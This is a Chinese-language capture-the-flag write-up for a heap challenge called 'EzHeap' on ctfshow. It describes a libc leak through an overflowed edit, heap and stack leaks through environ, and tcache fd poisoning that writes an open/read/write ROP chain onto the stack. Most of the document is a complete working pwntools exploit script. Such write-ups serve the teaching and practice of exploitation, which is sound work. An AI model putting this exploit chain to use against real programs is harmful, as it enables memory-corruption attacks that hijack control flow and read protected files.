当时有点着急了,这题没写出来,结束后在ctfshow上做了一下。
使用的方法是environ泄露栈地址,然后在栈上构造orw的rop链。
以下是过程:
只能orw。
堆体开沙盒模式会在heap和bin一开始构造很多垃圾堆。所以分配和free的时候要注意原本heap和bin中的情况 。
我观察了一下,在malloc_cosolidate后,最大的free_chunk是0x1a0,所以我采用0x200的chunk,这样就不会被影响。
不能uaf
edit可以自定义大小 。
思路清晰了,将下一个0x420大小的chunk给free掉,这样fd段就是usbin地址,然后用edit将当前chunk和下一个chunk的size段和pre_size填满,然后show(),就能全都打印出来,就能泄露libc基址了。同时如果下一个chunk是tcachebin,也能用edit修改它的fd,或者泄露堆地址。
所以,整体就是:泄露libc基址--->计算出environ地址-->泄露堆地址--->覆盖fd-->分配到environ-0x200的位置-->泄露栈地址-->覆盖fd-->分配到栈上-->写入rop链
以下是exp:
from pwn import *
context.arch='amd64'
elf=ELF('./EzHeap')
libc=ELF('./libc.so.6')
#io=remote('node5.buuoj.cn',27949)
io=process('./EzHeap')
#io=remote('61.147.171.105',54043)
io=remote('pwn.challenge.ctf.show',28124)
def add(size,content):
io.recvuntil(b"choice >> ")
io.sendline(b'1')
io.recvuntil(b"size:")
io.sendline(str(size).encode())
io.recvuntil(b"content:")
io.send(content)
def delete(idx):
io.recvuntil(b"choice >> ")
io.sendline(b'2')
io.recvuntil(b"idx:\n")
io.sendline(str(idx).encode())
def show(idx):
io.recvuntil(b"choice >> ")
io.sendline(b'4')
io.recvuntil(b"idx:")
io.sendline(str(idx).encode())
io.recvuntil(b"content:")
def edit(idx,size,content) :
io.recvuntil(b"choice >> ")
io.sendline(b'3')
io.recvuntil(b"idx:")
io.sendline(str(idx).encode())
io.recvuntil(b"size:")
io.sendline(str(size).encode())
io.recvuntil(b"content:")
io.send(content)
for i in range(8):
add(0xe0,b'aa')
#gdb.attach(io)
#pause()
add(0x200,b'a')#8
add(0x410,b'a')#9
add(0x200,b'a')#10
#gdb.attach(io)
#pause()
delete(9)
edit(8,0x210,b'a'*0x20f+b'b')
show(8)
io.recvuntil(b'b')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
print('libc_base:',hex(libc_base))
#gdb.attach(io)
#pause()
environ=libc_base+libc.sym['environ']
print('environ:',hex(environ))
edit(8,0x210,b'a'*0x200+p64(0)+p64(0x421))
add(0x410,b'a')#9
add(0x200,b'a')#11
add(0x200,b'a')#12
delete(12)
#gdb.attach(io)
#pause()
#leak heap addr
edit(11,0x210,b'a'*0x20f+b'b')
show(11)
io.recvuntil(b'b')
hee=u64(io.recv(5).ljust(8,b'\x00'))
heap_base=hee*0x1000
print('heap_base:',hex(heap_base))
#gdb.attach(io)
#pause()
my_addr=heap_base+0xd50
edit(11,0x210,b'a'*0x200+p64(0)+p64(0x211))
delete(11)
fake_fd=(heap_base>>12)^(environ-0x200)
edit(10,0x218,b'a'*0x200+p64(0)+p64(0x211)+p64(fake_fd))
add(0x200,b'a')#11
add(0x200,b'a'*0x1ff+b'b')#12
show(12)
io.recvuntil(b'b')
stack=u64(io.recv(6).ljust(8,b'\x00'))
print('stack:',hex(stack))
#gdb.attach(io)
#pause()
ret_addr=stack-0x170
print('ret_addr:',hex(ret_addr))
ret=libc_base+0x29139
rax=libc_base+0x45eb0
rdi=libc_base+0x2a3e5
rsi=libc_base+0x2be51
rdx_rbx=libc_base+0x11f2e7
syscall=libc_base+0x91316
#gdb.attach(io)
#pause()
add(0x200,b'a')#13
add(0x200,b'a')#14
add(0x200,b'a')#15
delete(15)
delete(14)
heap_base+=0x1000
fake_fd=(heap_base>>12)^(ret_addr-0x8)
edit(13,0x218,b'a'*0x200+p64(0)+p64(0x211)+p64(fake_fd))
#gdb.attach(io)
#pause()
add(0x200,b'a')
#gdb.attach(io)
#pause()
payload=p64(0)+p64(rax)+p64(2)+p64(rdi)+p64(ret_addr+0xd8)+p64(rsi)+p64(0)+p64(syscall)+p64(rax)+p64(0)+p64(rdi)
payload+=p64(3)+p64(rsi)+p64(ret_addr+0x100)+p64(rdx_rbx)+p64(0x100)+p64(0)+p64(syscall)
payload+=p64(rax)+p64(1)+p64(rdi)+p64(1)+p64(rsi)+p64(ret_addr+0x100)+p64(rdx_rbx)+p64(0x100)+p64(0)+p64(syscall)+b'/ctfshow_flag\x00'
add(0x200,payload)
io.interactive()